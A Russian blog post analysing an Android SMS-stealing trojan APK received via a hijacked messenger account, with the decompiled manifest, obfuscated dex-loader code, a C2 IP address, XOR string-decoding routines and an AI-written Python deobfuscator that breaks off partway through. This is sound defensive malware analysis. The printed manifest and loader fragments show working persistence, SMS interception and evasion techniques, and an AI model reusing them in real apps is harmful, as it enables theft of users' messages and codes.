24 февраля 2026 года в 16 часов по Хабаровскому времени в мессенджере MAX от аккаунта папы приходит сообщения вида "Посмотри, это ты на фото" и следующим сообщением приложен файл "Фото(3).apk". Я сразу же позвонил отцу - интернет отключили, симку вытащили, а на следующий день он сходил в МФЦ и поменял пароль. Файл с вирусом скачать я не смог - через полчаса после этого аккаунт отца удалили за спам, плюс само сообщение я удалил. Но пока файл ещё был, я попросил брата переслать его мне, но скачать я его уже не мог - из-за удаления аккаунта.

Работу пояснительную хоть и проводили, но "был без очков, что-то тыкнул" и установил - когда у тебя телефон от Huawei без гугл сервисов, то все приложения плюс-минус так и ставились. Прошло время - аккаунт через месяц папе дали вновь зарегистрировать, телефон тот мы отложили от греха подальше, выдал свой старый Samsung A50 и про случай забыли. Но одним вечером, когда я лежал в кровати я подумал - "Стоп, если аккаунт восстановили, то и файл я могу скачать?" Зашел в чат с братом, долистал до пересланного сообщения и решил скачать файл вновь. И что вы думаете - я его скачал! Б - Безопасность. А раз файл скачан, то надо его проанализировать - о чём и будет статья.

Ссылки на материалы

Прежде чем начать оставлю список из статей на Хабре, которые освещают данную тему:

Первичный осмотр

Первым делом отправляем файл на VirusTotal: https://www.virustotal.com/gui/file/f52786e3662ddf388cf8099e156da186ba6e77f76bf707c4d2d20b4e0f4ae2e8/detection

Когда я закидывал файл, то его распознало всего 18 штук, но уже на момент написания статьи 23 антивируса распознало данный файл. Ключевые моменты, что он encrypted и obfuscated. Это меня и тормознуло на небольшой срок. Во вкладке Behavior нас будет интересовать IP Traffic, а конкретно строка TCP 176.124.222.81:80. Запомним эту строку - она понадобится нам далее. В целом, больше ничего интересного нам нет - большую часть информации мы и так узнаем, когда будем смотреть внутренности APK.

Декомпилируем

Для работы нам понадобится:

Качаем утилиты и погнали. Сам файл apk представляет zip архив, но при просмотре в архиваторе AndroidManifest.xml стоит параметр, что он под паролем. Как верно говорилось в статье - это ZIP poisoning (установка бита шифрования (0x0001) в поле general purpose flag для отдельных файлов). APKToolу меня без проблем извлек файлы, начинаем смотреть содержимое.

AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    android:compileSdkVersion="34"
    android:compileSdkVersionCodename="14"
    package="com.reawlme.kcupeyue"
    platformBuildVersionCode="34"
    platformBuildVersionName="14">
    <uses-sdk
        android:minSdkVersion="23"
        android:targetSdkVersion="34"/>
    <uses-feature
        android:name="android.hardware.telephony"
        android:required="false"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>
    <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
    <permission
        android:name="com.reawlme.kcupeyue.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
        android:protectionLevel="signature"/>
    <uses-permission android:name="com.reawlme.kcupeyue.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
    <application
        android:theme="@style/Theme.Defender"
        android:label="@string/str_ulfvkg"
        android:icon="@mipmap/ic_launcher"
        android:name="L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO"
        android:allowBackup="false"
        android:supportsRtl="true"
        android:extractNativeLibs="false"
        android:usesCleartextTraffic="true"
        android:appComponentFactory="androidx.core.app.CoreComponentFactory">
        <activity
            android:theme="@style/Theme.Defender"
            android:name="com.reawlme.kcupeyue.MainActivity"
            android:exported="true"
            android:excludeFromRecents="true"
            android:launchMode="singleTask">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.INFO"/>
            </intent-filter>
        </activity>
        <activity
            android:name="com.reawlme.kcupeyue.POIX1UVS23"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.SEND"/>
                <action android:name="android.intent.action.SENDTO"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
        </activity>
        <service
            android:name="com.reawlme.kcupeyue.POIX1UVS20"
            android:exported="false"/>
        <service
            android:name="com.reawlme.kcupeyue.POIX1UVS22"
            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
        </service>
        <service
            android:name="com.reawlme.kcupeyue.POIX1UVS21"
            android:enabled="true"
            android:exported="false"
            android:foregroundServiceType="dataSync"/>
        <service
            android:name="com.reawlme.kcupeyue.POIX1UVS19"
            android:enabled="true"
            android:exported="false"/>
        <receiver
            android:name="com.reawlme.kcupeyue.POIX1UVS16"
            android:permission="android.permission.BROADCAST_SMS"
            android:exported="true">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.reawlme.kcupeyue.POIX1UVS12"
            android:permission="android.permission.BROADCAST_WAP_PUSH"
            android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
                <data android:mimeType="application/vnd.wap.mms-message"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.reawlme.kcupeyue.POIX1UVS1"
            android:enabled="true"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.reawlme.kcupeyue.POIX1UVS18"
            android:enabled="true"
            android:exported="false"/>
        <provider
            android:name="androidx.startup.InitializationProvider"
            android:exported="false"
            android:authorities="com.reawlme.kcupeyue.androidx-startup">
            <meta-data
                android:name="androidx.emoji2.text.EmojiCompatInitializer"
                android:value="androidx.startup"/>
            <meta-data
                android:name="androidx.lifecycle.ProcessLifecycleInitializer"
                android:value="androidx.startup"/>
        </provider>
        <activity
            android:name="com.truecaller.messaging.conversation.ConversationActivity"
            android:exported="false"
            android:screenOrientation="portrait"
            android:parentActivityName="com.truecaller.ui.TruecallerInit"
            android:allowEmbedded="true">
            <intent-filter>
                <action android:name="com.truecaller.OPEN_CONVERSATION"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity>
        <activity
            android:name="edodpwmfjeji.efxosm.dkjskemd"
            android:enabled="false"
            android:screenOrientation="portrait"/>
        <activity
            android:name="oqzfksq.pqlqf.mrky"
            android:enabled="false"
            android:screenOrientation="portrait"
            android:windowSoftInputMode="adjustResize"/>
        <receiver
            android:name="rfjdjdk.djfifjekkd.ciciidkdkf"
            android:enabled="false"/>
        <receiver
            android:name="rfjfidikdf.jfifid.fjfid.fjer"
            android:enabled="false"
            android:exported="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="ofpfpdlekdjxj.wjdjd.ejdjf.ididr"
            android:enabled="false"/>
        <receiver
            android:name="cfidkd.djjdj.dkdkeiver"
            android:enabled="false"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_ADDED"/>
                <data android:scheme="package"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="anfjfjfidkd.fkkfkdmde.ivfjfjfer"
            android:permission="android.permission.DUMP"
            android:enabled="false"
            android:exported="true"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS"/>
            </intent-filter>
        </receiver>
        <meta-data
            android:name="android.app.shortcuts"
            android:value="Maloy"/>
        <meta-data
            android:name="com.kaspersky.security.KsConnectService"
            android:value="DycyX.mb"/>
        <meta-data
            android:name="com.kaspersky.security.NewKsConnectService"
            android:value=".mb"/>
    </application>
</manifest>

Из запрашиваемых разрешений нам сразу понятно, что это

  • SMS Stealer (RECEIVE_SMS/READ_SMS/SEND_SMS);

  • работает в автозапуске (RECEIVE_BOOT_COMPLETED);

  • читает не только СМС, но ещё и контакты (READ_PHONE_STATE/READ_CONTACTS/CALL_PHONE) - для того, чтобы потом рассылать вредоносную ссылку с вирусом;

  • лезет в интернет (INTERNET/ACCESS_NETWORK_STATE);

  • работает в фоне и имеет защиту от убийства процесса (FOREGROUND_SERVICE/WAKE_LOCK/SCHEDULE_EXACT_ALARM).

Понятное дело, что при установке всё это написано, но вот в такой ситуации папа внимание на всё это не обратил.

А мы обращаем внимание на следующие строчки:

<receiver android:name="com.reawlme.kcupeyue.POIX1UVS16"
    android:permission="android.permission.BROADCAST_SMS"
    android:exported="true">
    <intent-filter android:priority="2147483647">
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
        <action android:name="android.provider.Telephony.SMS_DELIVER"/>
    </intent-filter>
</receiver>

priority=2147483647 - это максимально возможный приоритет в Android, то есть этот ресивер получит SMS раньше любого легитимного приложения.

        <meta-data
            android:name="android.app.shortcuts"
            android:value="Maloy"/>
        <meta-data
            android:name="com.kaspersky.security.KsConnectService"
            android:value="DycyX.mb"/>
        <meta-data
            android:name="com.kaspersky.security.NewKsConnectService"
            android:value=".mb"/>

DycyX.mb — это упакованный DEX-файл, спрятанный в assets/. Kaspersky-совместимость нужна, чтобы избегать детекта (причем касперский этот вирус не видел пару недель назад, если судить по virustotal).

<activity android:name="com.truecaller.messaging.conversation.ConversationActivity"/>

Здесь пытается "косить" под Truecaller (Определитель номера). В целом, бросающиеся в глаза параметры из XML отмечены, поэтому перейдём к файлам.

Перечень файлов
Перечень файлов

Как видно, функции все обсуфицированны, но часть информации можно достать.

Файл: app/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/Laed1011QFmO.java

Laed1011QFmO.java
package L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO;

import L28d0fa2QFmO.L74cd619QFmO.L433156bQFmO;
import L28d0fa2QFmO.L74cd619QFmO.L51a4aa6QFmO;
import L28d0fa2QFmO.L74cd619QFmO.L778b867QFmO;
import L28d0fa2QFmO.L74cd619QFmO.Ldacae8bQFmO;
import L28d0fa2QFmO.L74cd619QFmO.Lfb61d19QFmO;
import android.app.Application;
import android.content.Context;
import dalvik.system.BaseDexClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;

/* JADX INFO: loaded from: classes.dex */
public class Laed1011QFmO extends Application {
    public static final String F01425652Tlgx;
    private static final short[] F48fce10cTlgx;
    private static Context F53bed25dTlgx;
    private static final short[] Febab3b5dTlgx = {570,....,}
  
  .....
    static {
        String strQ21fbb13ezACV;
        int iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234));
        while (true) {
            switch (iQ968726fazACV) {
                case 1747841:
                    return;
                case 1752617:
                    if (L9e63ba2QFmO.F0b0cb632Tlgx / (L0b4c3f2QFmO.F3432883eTlgx + 1172) == 0) {
                        iQ968726fazACV = Lfb61d19QFmO.F0cd5ee95Tlgx + L9e63ba2QFmO.F0b0cb632Tlgx + 1756117;
                    } else {
                        strQ21fbb13ezACV = L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 3, 3, 2342);
                    }
                    break;
                case 1755339:
                    F01425652Tlgx = Ldacae8bQFmO.Q56c5a16bzACV(Q86c4afcbzACV(), 0, L9e63ba2QFmO.F0b0cb632Tlgx ^ 177, 842);
                    if ((Lfb61d19QFmO.F0cd5ee95Tlgx ^ (L51a4aa6QFmO.F6b3ca6d0Tlgx / 2585)) < 0) {
                        strQ21fbb13ezACV = L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 9, 3, 1974);
                    } else {
                        Lfb61d19QFmO.F0cd5ee95Tlgx = 46;
                        iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(L434d8b2QFmO.Qdd57eeb5zACV(Febab3b5dTlgx, 6, 3, 1350));
                    }
                    break;
                case 1755464:
                    F48fce10cTlgx = new short[]{813, 815, 805, 789, 825, 830, 811, 830, 815, 868, 814, 811, 830, 652, 687, 686, 679, 652, 687, 673, 676, 3668, 3648, 3660, 3634, 3653, 3636, 2645, 3650, 3653, 3658, 3638, 3636, 3639, 3661, 3639, 3636, 3642, 2645, 3653, 3660, 3658, 3661, 3662, 3659, 3654, 3654, 3648, 3637, 1150, 1117, 1116, 1109, 1150, 1117, 1107, 1110, 2103, 2066, 2079, 2079, 2073, 2156, 3084, 2078, 2157, 2073, 3084, 2157, 2072, 2073, 2071, 2076, 2071, 2192, 2197, 2200, 2178, 2205, 2207, 2266, 2183, 2189, 2183, 2176, 2193, 2201, 2266, 2230, 2197, 2183, 2193, 2224, 2193, 2188, 2231, 2200, 2197, 2183, 2183, 2232, 2203, 2197, 2192, 2193, 2182, 1001, 1016, 1005, 1009, 981, 1008, 1002, 1005, 732, 733, 704, 765, 724, 733, 725, 733, 726, 716, 715, 2722, 2688, 2698, 2757, 2695, 2692, 2699, 2699, 2688, 2689};
                    iQ968726fazACV = (L51a4aa6QFmO.F6b3ca6d0Tlgx / L51a4aa6QFmO.F6b3ca6d0Tlgx) + 1755338;
                    continue;
            }
            iQ968726fazACV = L51a4aa6QFmO.Qcd2f7be1zACV(strQ21fbb13ezACV);
        }
    }


    
public Laed1011QFmO() {
  /*  Method dump skipped, instruction units count: 336
      To view this dump change 'Code comments level' option to 'DEBUG' */
    throw new UnsupportedOperationException("Method not decompiled: L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO.<init>():void");
}
  
      @Override // android.content.ContextWrapper
    protected void attachBaseContext(Context context) {
        String strQ985f7048zACV;
        ClassLoader classLoaderQ4afda25dzACV;
        Object objQ99889ed5zACV;
        String strQcbbc1254zACV;
        String strQ94a7add9zACV;
        File file;
        Object[] objArr;
        int length;
        ClassLoader classLoaderQ4afda25dzACV2;
        String strQdd57eeb5zACV;
        String strQ90df6790zACV;
        Object obj;
        InputStream inputStreamQ5b2fde78zACV;
        File file2;
        String strQ985f7048zACV2;
        Object objQ99889ed5zACV2;
        Field fieldQ07e9ffc0zACV;
        String strQcbbc1254zACV2;
        String strQdd57eeb5zACV2;
        Object obj2;
        String strQ21fbb13ezACV;
        Object[] objArr2;
        String strQ90df6790zACV2;
        String str = null;
        String str2 = null;
        int i = 0;
        File file3 = null;
        InputStream inputStream = null;
        BaseDexClassLoader baseDexClassLoader = null;
        String str3 = null;
        File file4 = null;
        ClassLoader classLoader = null;
        ClassLoader classLoader2 = null;
        Field field = null;
        Object obj3 = null;
        Object obj4 = null;
        Object[] objArr3 = null;
        Object[] objArr4 = null;
        int i2 = 0;
        int i3 = 0;
        Object obj5 = null;
        int iQde8db453zACV = L9e63ba2QFmO.Qde8db453zACV(L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 439, 3, 2991));
        Field field2 = null;
        File file5 = null;
        File file6 = null;
        FileOutputStream fileOutputStream = null;
        while (true) {
            switch (iQde8db453zACV) {
                .....
              case 1749728:
                L0b4c3f2QFmO.Qdf390e38zACV(context);
                BaseDexClassLoader baseDexClassLoader2 = new BaseDexClassLoader(str3, file4, null, classLoader);
          if (L0b4c3f2QFmO.F3432883eTlgx / (L9e63ba2QFmO.F0b0cb632Tlgx ^ (-6593)) == 0) {
            strQdd57eeb5zACV2 = L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 448, 3, 1561);
            baseDexClassLoader = baseDexClassLoader2;
            obj2 = obj3;
            obj3 = obj2;
            iQde8db453zACV = Ldacae8bQFmO.Q968726fazACV(strQdd57eeb5zACV2);
          } 
          else {
            Ldacae8bQFmO.Fac2bad8fTlgx = 69;
            baseDexClassLoader = baseDexClassLoader2;
            iQde8db453zACV = L9e63ba2QFmO.Qde8db453zACV(L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 445, 3, 3205));
            }
          break; 
            case 1753604:
            super.attachBaseContext(context);
            iQde8db453zACV = (L51a4aa6QFmO.F6b3ca6d0Tlgx % Lfb61d19QFmO.F0cd5ee95Tlgx) ^ 1752152;
            break;

Класс Laed1011QFmO — это Application-класс стаба-загрузчика (в манифесте это строка android:name="L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO"). В указанном выше case 1749728 BaseDexClassLoader используется для динамической загрузки DEX во время выполнения - это по сути лоадер. А вот в case 1753604 вызывается метод attachBaseContext().

Когда идёт переопределение attachBaseContext в каком-то классе (например, в активности или в своём подклассе Application), обычно создаётся обёртка вокруг переданного Context через вспомогательный класс и затем вызывается super.attachBaseContext() с этой обёрткой (в нашем случае с переданным context). Внутри метода система проверяет: если базовый контекст уже был задан, выбрасывается исключение IllegalStateException - после этого все вызовы к текущему контексту делегируются обёрнутому объекту. Если сказать ещё проще - одно приложение вызывает внутри себя другое приложение.

Метод attachBaseContext() делает следующее:

  • Читает индикатор версии из файла в code cache:

   // Laed1011QFmO.java:124
   File file2 = new File(Ldacae8bQFmO.Q78cc340bzACV(context), Ldacae8bQFmO.Q28cadd5bzACV());
   // = new File(context.getFilesDir(), "имя_файла")
  • Копирует DycyX.mb из assets:

   // Laed1011QFmO.java:561
   inputStream = Ldacae8bQFmO.Q5b2fde78zACV(
       Ldacae8bQFmO.Qb7f94f15zACV(context), // context.getAssets()
       L0b4c3f2QFmO.Qeeb18469zACV()         // "DycyX.mb"
   );
  • Загружает DEX через BaseDexClassLoader

  • Подменяет class loader через рефлексивный доступ к ClassLoader.pathList.dexElements

   // Laed1011QFmO.java:576-578
   L51a4aa6QFmO.Q342c7838zACV(field2, true);   // field.setAccessible(true)
   Object[] objArr5 = (Object[]) L0b4c3f2QFmO.Q99889ed5zACV(field2, obj3); // field.get(obj)

Если посмотреть на данный класс, то можно выделить 3 техники обфускации кода

Техника

Суть

Место в коде

Control Flow Flattening

Исходный код разбивается на базовые блоки, находящиеся на одном уровне вложенности. Каждый блок получает уникальный номер или идентификатор. Это можно увидеть в следующей структуре — while(true) { switch(hash) }

Все методы в Laed1011QFmO.java. Вот этот большой case и реализует данную технику.

XOR-строки

Строки закодированы в short[] массивах, а ключ передаётся в вызове.

МассивыFebab3b5dTlgx и F48fce10cTlgx

Рефлексивные вызовы

API-вызовы обёрнуты в методы-прокладки с проверками

Классы L0b4c3f2QFmO, L9e63ba2QFmO, L51a4aa6QFmO

Для примера Control Flow Flattening посмотрим ещё раз начало файла:

static {
    int iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(
        L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234)
    );
    while (true) {
        switch (iQ968726fazACV) {   
            case 1747841: return;   
            case 1752617: ...       
            case 1755339: ...       
            case 1755464: ...       
        }
        iQ968726fazACV = L51a4aa6QFmO.Qcd2f7be1zACV(strQ21fbb13ezACV);
    }
}

Вызов метода Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234) декодирует 3-символьную строку из массива Febab3b5dTlgx (оффсет 0, длина 3) с ключом 1234. Затем Q968726fazACV() берёт hashCode() декодированной строки, и этот хеш становится номером case в switch. Из-за этого невозможно предсказать порядок выполнения без эмуляции.

А где же тогда расшифровываются эти строки? А всё просто - в файле app/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/L0b4c3f2QFmO.javaесть следующий код:

//строки 258-264
public static String Qcbbc1254zACV(short[] sArr, int i, int i2, int i3) {
    char[] cArr = new char[i2];
    for (int i4 = 0; i4 < i2; i4++) {
        cArr[i4] = (char) (sArr[i + i4] ^ i3);
    }
    return new String(cArr);
}

А в app/src/main/java/L28d0fa2QFmO/L74cd619QFmO/L51a4aa6QFmO.java есть похожий метод по своей структуре:

//строки 189-195
public static String Qdc2b7ffazACV(short[] sArr, int i, int i2, int i3) {
    char[] cArr = new char[i2];
    for (int i4 = 0; i4 < i2; i4++) {
        cArr[i4] = (char) (sArr[i + i4] ^ i3);
    }
    return new String(cArr);
}

В этих методах используется общая формула - (char)(short_array[offset + i] ^ key). Все похожие методы делают одно и то же (XOR), но находятся в разных классах.

На данном моменте я уже подключил ИИ - настроил OpenCode (с подключенным платным API Deepseek V4 Pro) и натравил на папку проекта с простым промтом вида "Есть обсуфицированный код, написанный на java - нужен скрипт для деобфускации" и уточнением, что нашёл в коде. Если бы я не воспользовался им, я бы писал статью дольше или вообще не дописал)

Пару минут размышлений и у меня есть уже готовый скрипт:

decode_malware.py
#!/usr/bin/env python3
"""
Deobfuscator for Android Banking Trojan encrypted strings.
Extracts and decodes XOR-obfuscated short[] arrays from JADX-decompiled Java source.

Decoding formula: (char)(short_array[i] ^ key)

Usage:
    python decode_malware.py --jadx-dir ./payload_jadx         # parse JADX output
    python decode_malware.py --jadx-dir . --scan-arrays        # find all arrays first
    python decode_malware.py --jadx-dir . --bruteforce         # brute-force keys
    python decode_malware.py --jadx-dir . --export-json out    # export decoded to JSON
"""

import re
import sys
import os
import json
import argparse
from collections import defaultdict


# ─── Known static field values ──────────────────────────────────────
FIELDS = {
    "F3432883eTlgx": -486,   # L0b4c3f2QFmO
    "F0b0cb632Tlgx": 188,    # L9e63ba2QFmO
    "Fac2bad8fTlgx": -437,   # Ldacae8bQFmO
    "F6b3ca6d0Tlgx": 467,    # L51a4aa6QFmO
    "F0cd5ee95Tlgx": 46,     # Lfb61d19QFmO
}


# ─── Core decode function ───────────────────────────────────────────
def xor_decode(arr, offset, length, key):
    """Decode segment: (char)((short)arr[offset+i] ^ key)."""
    chars = []
    for i in range(length):
        val = arr[offset + i]
        # Emulate Java signed short
        if val > 32767:
            val = val - 65536
        char_code = (val ^ key) & 0xFFFF
        chars.append(chr(char_code))
    return ''.join(chars)


def is_printable(s):
    """Check if all chars are printable ASCII or common Unicode letters."""
    for c in s:
        o = ord(c)
        if o < 32 or o > 126:
            if o < 0x0400 or o > 0x04FF:  # not Cyrillic either
                return False
    return True


# ─── Parser for JADX Java files ─────────────────────────────────────
def parse_java_file(filepath):
    """Parse a JADX-decompiled Java file and return arrays + calls."""
    with open(filepath, 'r', encoding='utf-8', errors='replace') as f:
        content = f.read()

    arrays = {}
    calls = []

    # Extract short[] arrays: short[] Name = {1, 2, ...};
    # Match multi-line definitions too
    block_pattern = re.compile(
        r'(?:private|public|static|final|\s)*short\[\]\s+(\w+)\s*=\s*\{([^}]+)\}',
        re.DOTALL
    )
    for match in block_pattern.finditer(content):
        name = match.group(1)
        raw = match.group(2)
        # Remove whitespace and comments
        raw = re.sub(r'/\*.*?\*/', '', raw)
        raw = re.sub(r'//.*', '', raw)
        values = []
        for v in raw.split(','):
            v = v.strip()
            if v:
                try:
                    values.append(int(v))
                except ValueError:
                    pass
        if values:
            arrays[name] = values

    # Extract static-init assignments: F48fce10cTlgx = new short[]{...};
    init_pattern = re.compile(
        r'(\w+)\s*=\s*new\s+short\[\]\s*\{([^}]+)\}',
        re.DOTALL
    )
    for match in init_pattern.finditer(content):
        name = match.group(1)
        raw = match.group(2)
        raw = re.sub(r'/\*.*?\*/', '', raw)
        raw = re.sub(r'//.*', '', raw)
        values = []
        for v in raw.split(','):
            v = v.strip()
            if v:
                try:
                    values.append(int(v))
                except ValueError:
                    pass
        if values:
            arrays[name] = values

    # Extract decode calls: Qcbbc1254zACV(ArrayName, offset, length, keyExpr)
    call_pattern = re.compile(
        r'(Q[a-zA-Z0-9]+)\((\w+),\s*(\d+),\s*(\d+),\s*([^)]+)\)'
    )
    for match in call_pattern.finditer(content):
        fn = match.group(1)
        arr_name = match.group(2)
        offset = int(match.group(3))
        length = int(match.group(4))
        key_expr = match.group(5).strip()
        calls.append({
            'function': fn,
            'array_ref': arr_name,
            'offset': offset,
            'length': length,
            'key_expr': key_expr,
            'file': os.path.basename(filepath),
        })

    return arrays, calls


def compute_key_expr(expr):
    """Try to evaluate a key expression like 'Lxyz.Fabc ^ 180'."""
    for field, value in FIELDS.items():
        expr = expr.replace(field, str(value))
    # Remove class prefixes
    expr = re.sub(r'\w+\.', '', expr)
    try:
        return eval(expr, {"__builtins__": {}}, {})
    except:
        return None


# ─── Array scanner ─────────────────────────────────────────────────
def scan_arrays(all_arrays, all_calls):
    """Smart scan: find keys that produce readable strings for each array."""
    print(f"\n{'='*60}")
    print(f"SMART DECODING: {len(all_arrays)} arrays, {len(all_calls)} calls")
    print(f"{'='*60}")

    results = []

    for arr_full_name, arr in all_arrays.items():
        arr_name_short = arr_full_name.split("::")[-1]
        if not arr or len(arr) < 3:
            continue

        # Strategy 1: Use key expressions from calls that reference this array
        for call in all_calls:
            if call['array_ref'] == arr_name_short:
                key = compute_key_expr(call['key_expr'])
                if key is not None and call['offset'] + call['length'] <= len(arr):
                    s = xor_decode(arr, call['offset'], call['length'], key)
                    if is_printable(s):
                        results.append({
                            'string': s,
                            'array': arr_full_name,
                            'key': key,
                            'key_expr': call['key_expr'],
                            'offset': call['offset'],
                            'length': call['length'],
                            'file': call['file'],
                        })

        # Strategy 2: Brute-force segments that look like they contain
        # sequential printable chars
        best_key, best_count = find_best_key(arr, min_len=2)
        if best_count >= 3:
            decoded = decode_full_array(arr, best_key)
            # Show max 80 chars
            results.append({
                'string': decoded[:120],
                'array': arr_full_name,
                'key': best_key,
                'key_expr': f'bruteforce(best={best_count} printable)',
                'offset': 0,
                'length': len(arr),
                'file': '(auto)',
            })

    # Print results (handle Windows console encoding)
    seen = set()
    for r in results:
        s = r['string']
        if s and s not in seen:
            seen.add(s)
            k = r['key']
            print(f"  [{r['array']}]")
            print(f"    key={k:5d} (0x{k&0xFFFF:04x}) len={r['length']:4d} offset={r['offset']:4d}")
            try:
                print(f"    => \"{s}\"")
            except UnicodeEncodeError:
                # Fallback: show hex
                hex_repr = ' '.join(f'{ord(c):04x}' for c in s)
                print(f"    => [hex] {hex_repr}")
            print()

    return results


def find_best_key(arr, min_len=2):
    """Find the XOR key that maximizes printable chars across the array."""
    best_key = 0
    best_count = 0

    for key in range(0, 65536):
        count = 0
        for val in arr:
            if val > 32767:
                val -= 65536
            c = (val ^ key) & 0xFFFF
            if 32 <= c <= 126 or 0x0400 <= c <= 0x04FF:
                count += 1
        if count > best_count:
            best_count = count
            best_key = key
            # Early exit if perfect
            if best_count == len(arr):
                break

    return best_key, best_count


def decode_full_array(arr, key):
    """Decode entire array with a given key."""
    chars = []
    for val in arr:
        if val > 32767:
            val -= 65536
        c = (val ^ key) & 0xFFFF
        chars.append(chr(c) if 32 <= c <= 65535 else f'\\u{c:04x}')
    return ''.join(chars)


# ─── Brute-force mode ──────────────────────────────────────────────
def brute_force_all(all_arrays):
    """Try all keys 0-65535 and report arrays that decode to readable text."""
    print(f"\n{'='*60}")
    print(f"BRUTE-FORCE MODE: {len(all_arrays)} arrays")
    print(f"{'='*60}")

    for arr_full_name, arr in all_arrays.items():
        if len(arr) < 3:
            continue

        best_key, best_count = find_best_key(arr)
        if best_count >= len(arr) * 0.7 and best_count >= 5:
            decoded = decode_full_array(arr, best_key)[:200]
            print(f"\n[{arr_full_name}] len={len(arr)}, printable={best_count}/{len(arr)}")
            print(f"  key={best_key} (0x{best_key&0xFFFF:04x})")
            print(f"  \"{decoded}\"")


# ─── Main pipeline ─────────────────────────────────────────────────
def process_jadx_dir(jadx_dir, mode='smart'):
    """Walk JADX directory, parse all Java files, decode strings."""
    if not os.path.isdir(jadx_dir):
        print(f"[!] Not a directory: {jadx_dir}")
        return []

    all_arrays = {}
    all_calls = []
    file_count = 0

    for root, dirs, files in os.walk(jadx_dir):
        for fname in files:
            if fname.endswith('.java'):
                fpath = os.path.join(root, fname)
                rel = os.path.relpath(fpath, jadx_dir)
                try:
                    arrs, calls = parse_java_file(fpath)
                    for name, vals in arrs.items():
                        all_arrays[f"{rel}::{name}"] = vals
                    all_calls.extend(calls)
                    file_count += 1
                except Exception as e:
                    print(f"  [skip] {fname}: {e}")

    print(f"Parsed {file_count} files: {len(all_arrays)} arrays, {len(all_calls)} calls")

    if mode == 'scan':
        # Just list arrays and their sizes
        for name, arr in sorted(all_arrays.items(), key=lambda x: -len(x[1])):
            if len(arr) >= 10:
                print(f"  {name}  ({len(arr)} items)")
        return []

    if mode == 'bruteforce':
        return brute_force_all(all_arrays)

    if mode == 'smart':
        return scan_arrays(all_arrays, all_calls)

    return []


# ─── CLI ────────────────────────────────────────────────────────────
if __name__ == "__main__":
    # Force UTF-8 output on Windows
    if sys.platform == 'win32':
        import io
        sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
